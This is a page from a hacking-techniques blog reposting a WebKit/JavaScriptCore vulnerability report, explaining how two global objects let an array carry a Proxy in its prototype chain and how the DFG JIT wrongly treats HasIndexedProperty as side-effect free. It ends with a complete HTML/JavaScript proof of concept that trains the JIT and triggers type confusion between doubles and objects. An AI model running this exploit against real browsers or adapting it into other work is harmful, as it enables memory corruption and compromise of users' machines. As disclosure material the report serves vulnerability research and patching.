Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86391748

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
    ASSERT(prototype);
    if (prototype.isObject())
        prototype.asCell()->didBecomePrototype();
    
    if (structure(vm)->hasMonoProto()) {
        DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
        Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
        setStructure(vm, newStructure);
    } else
        putDirect(vm, knownPolyProtoOffset, prototype);

    if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
        return;
    
    if (mayBePrototype()) {
        structure(vm)->globalObject()->haveABadTime(vm);
        return;
    }
    
    if (!hasIndexedProperties(indexingType()))
        return;
    
    if (shouldUseSlowPut(indexingType()))
        return;

    switchToSlowPutArrayStorage(vm);
}

JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. 

Exploit:
    case HasIndexedProperty: {
        ArrayMode mode = node->arrayMode();
        
        switch (mode.type()) {
        case Array::Int32:
        case Array::Double:
        case Array::Contiguous:
        case Array::ArrayStorage: {
            break;
        }
        default: {
            clobberWorld();
            break;
        }
        }
        setNonCellTypeForNode(node, SpecBoolean);
        break;
    }

From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481

The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.

PoC:
-->

<body>
<script>

function opt(arr, arr2) {
    arr[1] = 1.1;

    let tmp = 0 in arr2;

    arr[0] = 2.3023e-320;

    return tmp;
}

function main() {
    let o = document.body.appendChild(document.createElement('iframe')).contentWindow;

    // haveABadTime
    o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);

    let arr = [1.1, 2.2];
    let arr2 = [1.1, 2.2];

    let proto = new o.Object();
    let handler = {};

    arr2.__proto__ = proto;
    proto.__proto__ = new Proxy({}, {
        has() {
            arr[0] = {};

            return true;
        }
    });

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    setTimeout(() => {
        delete arr2[0];

        opt(arr, arr2);

        alert(arr[0]);
    }, 500);
}

main();

</script>
</body>